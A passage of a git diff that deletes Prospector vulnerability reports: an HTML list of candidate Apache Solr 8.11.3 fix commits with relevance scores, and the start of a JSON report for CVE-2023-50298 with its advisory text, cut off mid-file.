solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1 - - solr/licenses/start.jar.sha1 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade dependencies to address more CVEs (#2681) Upgrade the... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 18 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3cf0a5501084c9e3d0e53657a20477007f33755a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1, solr/licenses/hadoop-common-3.2.2.jar.sha1, solr/licenses/netty-handler-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1, solr/licenses/netty-buffer-4.1.99.Final.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-databind-2.15.2.jar.sha1, solr/licenses/hadoop-minicluster-3.2.4.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-core-2.15.2.jar.sha1, solr/licenses/calcite-core-1.35.0.jar.sha1, solr/licenses/hadoop-common-3.2.2-tests.jar.sha1, solr/licenses/jackson-annotations-2.15.2.jar.sha1, solr/licenses/hadoop-auth-3.2.4.jar.sha1, solr/licenses/hadoop-minikdc-3.2.2.jar.sha1, solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1, solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.87.Final.jar.sha1, solr/licenses/ant-1.8.2.jar.sha1, solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1, solr/licenses/hadoop-auth-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1, solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1, solr/licenses/netty-all-4.1.87.Final.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1, solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.99.Final.jar.sha1, solr/licenses/avatica-core-1.23.0.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/ant-1.10.14.jar.sha1, solr/licenses/avatica-core-1.22.0.jar.sha1, solr/licenses/hadoop-minikdc-3.2.4.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/junit4-ant-2.8.1.jar.sha1, solr/licenses/netty-common-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.99.Final.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.4.jar.sha1, solr/licenses/junit4-ant-2.7.2.jar.sha1, solr/licenses/caffeine-2.9.2.jar.sha1, solr/licenses/woodstox-core-6.5.1.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1, solr/licenses/hadoop-common-3.2.4.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1, solr/licenses/netty-handler-4.1.99.Final.jar.sha1, solr/licenses/calcite-core-1.32.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1, solr/licenses/netty-all-4.1.99.Final.jar.sha1, solr/licenses/calcite-linq4j-1.35.0.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1, solr/licenses/netty-codec-4.1.87.Final.jar.sha1, solr/licenses/netty-buffer-4.1.87.Final.jar.sha1, solr/licenses/avatica-metrics-1.22.0.jar.sha1, solr/licenses/avatica-metrics-1.23.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1, solr/licenses/netty-codec-4.1.99.Final.jar.sha1, solr/licenses/caffeine-2.9.3.jar.sha1, solr/licenses/hadoop-minicluster-3.2.2.jar.sha1, solr/licenses/hadoop-common-3.2.4-tests.jar.sha1, solr/licenses/calcite-linq4j-1.32.0.jar.sha1, solr/licenses/netty-common-4.1.99.Final.jar.sha1, solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: address, upgrade
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version, handler, parameter
      -
    • - -
    • -
      The commit message references some github issue: 2681
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade dependencies to address more CVEs (#2681) Upgrade the following dependencies: |dependency|old|new| |-------------|---|---| |ant|1.8.2|1.10.14| |randomizedtesting|2.7.2|2.8.1| |calcite|1.32.0|1.35.0| |calcite avatica|1.22.0|1.23.0| |aws java sdk|1.12.42|1.12.565| |caffeine|2.9.2|2.9.3| |hadoop|3.2.2|3.2.4| |jackson|2.13.5|2.15.2| |netty|4.1.87|4.1.99| |woodstox-core|6.5.0|6.5.1|
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - lucene/licenses/ant-1.10.14.jar.sha1 - - lucene/licenses/ant-1.8.2.jar.sha1 - - lucene/licenses/randomizedtesting-runner-2.7.2.jar.sha1 - - lucene/licenses/randomizedtesting-runner-2.8.1.jar.sha1 - - solr/licenses/ant-1.10.14.jar.sha1 - - solr/licenses/ant-1.8.2.jar.sha1 - - solr/licenses/avatica-core-1.22.0.jar.sha1 - - solr/licenses/avatica-core-1.23.0.jar.sha1 - - solr/licenses/avatica-metrics-1.22.0.jar.sha1 - - solr/licenses/avatica-metrics-1.23.0.jar.sha1 - - solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1 - - solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1 - - solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1 - - solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1 - - solr/licenses/caffeine-2.9.2.jar.sha1 - - solr/licenses/caffeine-2.9.3.jar.sha1 - - solr/licenses/calcite-core-1.32.0.jar.sha1 - - solr/licenses/calcite-core-1.35.0.jar.sha1 - - solr/licenses/calcite-linq4j-1.32.0.jar.sha1 - - solr/licenses/calcite-linq4j-1.35.0.jar.sha1 - - solr/licenses/hadoop-annotations-3.2.2.jar.sha1 - - solr/licenses/hadoop-annotations-3.2.4.jar.sha1 - - solr/licenses/hadoop-auth-3.2.2.jar.sha1 - - solr/licenses/hadoop-auth-3.2.4.jar.sha1 - - solr/licenses/hadoop-common-3.2.2-tests.jar.sha1 - - solr/licenses/hadoop-common-3.2.2.jar.sha1 - - solr/licenses/hadoop-common-3.2.4-tests.jar.sha1 - - solr/licenses/hadoop-common-3.2.4.jar.sha1 - - solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1 - - solr/licenses/hadoop-hdfs-3.2.2.jar.sha1 - - solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1 - - solr/licenses/hadoop-hdfs-3.2.4.jar.sha1 - - solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1 - - solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1 - - solr/licenses/hadoop-minicluster-3.2.2.jar.sha1 - - solr/licenses/hadoop-minicluster-3.2.4.jar.sha1 - - solr/licenses/hadoop-minikdc-3.2.2.jar.sha1 - - solr/licenses/hadoop-minikdc-3.2.4.jar.sha1 - - solr/licenses/jackson-annotations-2.13.5.jar.sha1 - - solr/licenses/jackson-annotations-2.15.2.jar.sha1 - - solr/licenses/jackson-core-2.13.5.jar.sha1 - - solr/licenses/jackson-core-2.15.2.jar.sha1 - - solr/licenses/jackson-databind-2.13.5.jar.sha1 - - solr/licenses/jackson-databind-2.15.2.jar.sha1 - - solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1 - - solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1 - - solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1 - - solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1 - - solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1 - - solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1 - - solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1 - - solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1 - - solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1 - - solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1 - - solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1 - - solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1 - - solr/licenses/junit4-ant-2.7.2.jar.sha1 - - solr/licenses/junit4-ant-2.8.1.jar.sha1 - - solr/licenses/netty-all-4.1.87.Final.jar.sha1 - - solr/licenses/netty-all-4.1.99.Final.jar.sha1 - - solr/licenses/netty-buffer-4.1.87.Final.jar.sha1 - - solr/licenses/netty-buffer-4.1.99.Final.jar.sha1 - - solr/licenses/netty-codec-4.1.87.Final.jar.sha1 - - solr/licenses/netty-codec-4.1.99.Final.jar.sha1 - - solr/licenses/netty-common-4.1.87.Final.jar.sha1 - - solr/licenses/netty-common-4.1.99.Final.jar.sha1 - - solr/licenses/netty-handler-4.1.87.Final.jar.sha1 - - solr/licenses/netty-handler-4.1.99.Final.jar.sha1 - - solr/licenses/netty-resolver-4.1.87.Final.jar.sha1 - - solr/licenses/netty-resolver-4.1.99.Final.jar.sha1 - - solr/licenses/netty-transport-4.1.87.Final.jar.sha1 - - solr/licenses/netty-transport-4.1.99.Final.jar.sha1 - - solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1 - - solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1 - - solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1 - - solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1 - - solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1 - - solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1 - - solr/licenses/woodstox-core-6.5.0.jar.sha1 - - solr/licenses/woodstox-core-6.5.1.jar.sha1 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Some PRS fixes ported (addressing test failures with PRS) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 16 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - a442489af3c665e1d87c38bef1b5864dd48129a7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: address
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, provide
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Some PRS fixes ported (addressing test failures with PRS)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java - - solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java - - solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java - - solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 16 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 962c926010635356ea778374e1fad5e40f0b46be -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This, SolrCloud, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/java/org/apache/solr/cloud/ZkController.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java, solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java, solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble Paul <noble@apache.org>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java - - solr/core/src/java/org/apache/solr/cloud/ZkController.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java - - solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java - - solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java - - solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade dependencies to address outstanding CVEs... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 16 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 32b6d4cebb9644318de6c542c0fb2e2dbf070f00 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/licenses/guava-31.1-jre.jar.sha1, solr/licenses/google-oauth-client-1.32.1.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1, solr/licenses/snappy-java-1.1.7.6.jar.sha1, solr/licenses/protobuf-java-util-3.11.0.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/google-oauth-client-1.33.3.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/jackson-core-2.13.3.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/guava-32.1.3-jre.jar.sha1, solr/licenses/snappy-java-1.1.10.1.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.2.4.jar.sha1, solr/licenses/protobuf-java-3.11.0.jar.sha1, solr/licenses/protobuf-java-util-3.15.0.jar.sha1, solr/licenses/jackson-annotations-2.13.3.jar.sha1, solr/licenses/protobuf-java-3.15.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1, solr/licenses/jackson-databind-2.13.3.jar.sha1, solr/licenses/hsqldb-2.4.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: address, upgrade
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version, parameter
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade dependencies to address outstanding CVEs google-oauth-client 1.32.1 -> 1.32.3 guava 31.1 -> 32.1.3 hsqldb 2.4.0 -> 2.7.1 jackson-* 2.13.3 -> 2.13.5 protobuf-java 3.11.0 -> 3.15.0 protobuf-java-util 3.11.0 -> 3.15.0 snappy-java 1.1.7.6 -> 1.1.10.1 woodstox-core 6.2.4 -> 6.4.0 Co-authored-by: Jamie Jackson <jamiejaxon@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - solr/licenses/google-oauth-client-1.32.1.jar.sha1 - - solr/licenses/google-oauth-client-1.33.3.jar.sha1 - - solr/licenses/guava-31.1-jre.jar.sha1 - - solr/licenses/guava-32.1.3-jre.jar.sha1 - - solr/licenses/hsqldb-2.4.0.jar.sha1 - - solr/licenses/hsqldb-2.7.1.jar.sha1 - - solr/licenses/jackson-annotations-2.13.3.jar.sha1 - - solr/licenses/jackson-annotations-2.13.5.jar.sha1 - - solr/licenses/jackson-core-2.13.3.jar.sha1 - - solr/licenses/jackson-core-2.13.5.jar.sha1 - - solr/licenses/jackson-databind-2.13.3.jar.sha1 - - solr/licenses/jackson-databind-2.13.5.jar.sha1 - - solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1 - - solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1 - - solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1 - - solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1 - - solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1 - - solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1 - - solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1 - - solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1 - - solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1 - - solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1 - - solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1 - - solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1 - - solr/licenses/protobuf-java-3.11.0.jar.sha1 - - solr/licenses/protobuf-java-3.15.0.jar.sha1 - - solr/licenses/protobuf-java-util-3.11.0.jar.sha1 - - solr/licenses/protobuf-java-util-3.15.0.jar.sha1 - - solr/licenses/snappy-java-1.1.10.1.jar.sha1 - - solr/licenses/snappy-java-1.1.7.6.jar.sha1 - - solr/licenses/woodstox-core-6.2.4.jar.sha1 - - solr/licenses/woodstox-core-6.4.0.jar.sha1 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Use refid in jetty.xml for RewriteHandler - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 16 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9cd588e028a2fed65b18e8318394222801ce6d9b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/server/etc/jetty.xml
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: handler
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Use refid in jetty.xml for RewriteHandler
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/server/etc/jetty.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16452 : do not update PRS state if the local version is newer - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 14 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16452
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16452 : do not update PRS state if the local version is newer
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java - - solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4bf6befc32b49fdb2415f25b8159110bbdd4c63f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/licenses/hsqldb-2.5.2.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - solr/licenses/hsqldb-2.5.2.jar.sha1 - - solr/licenses/hsqldb-2.7.1.jar.sha1 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrading woodstox-core to 6.5.0 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6beb070b12c0f4bd286b5f5c8d12475e37a708fa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrading woodstox-core to 6.5.0
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - solr/licenses/woodstox-core-6.4.0.jar.sha1 - - solr/licenses/woodstox-core-6.5.0.jar.sha1 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Adding DOAP for previous release (8.11.2) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5d91111da7de26583346772e65d13ac3a5551da6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: dev-tools/doap/solr.rdf
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Adding DOAP for previous release (8.11.2)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dev-tools/doap/lucene.rdf - - dev-tools/doap/solr.rdf - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Changing releaseWizard's England reference to UK - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - c61a410206a004b212b3a2ba681e32dd84e4f94f -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Changing releaseWizard's England reference to UK
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dev-tools/scripts/releaseWizard.py - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json deleted file mode 100644 index 491b1cff4..000000000 --- a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json +++ /dev/null @@ -1,2157 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2023-50298", - "repository_url": "https://github.com/apache/lucene-solr", - "version_interval": "9.0.0:9.4.1", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2023-50298", - "description": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1.\n\nSolr Streaming Expressions allows users to extract data from other Solr Clouds, using a \"zkHost\" parameter.\nWhen original SolrCloud is setup to use ZooKeeper credentials and ACLs, they will be sent to whatever \"zkHost\" the user provides.\nAn attacker could setup a server to mock ZooKeeper, that accepts ZooKeeper requests with credentials and ACLs and extracts the sensitive information,\nthen send a streaming expression using the mock server's address in \"zkHost\".\nStreaming Expressions are exposed via the \"/streaming\" handler, with \"read\" permissions.\n\nUsers are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue.\nFrom these versions on, only zkHost values that have the same server address (regardless of chroot), will use the given ZooKeeper credentials and ACLs when connecting.\n\n", - "reserved_timestamp": 1701890511, - "published_timestamp": 1707499747, - "updated_timestamp": 1724084310, - "repository_url": null, - "references": { - "": 79, - 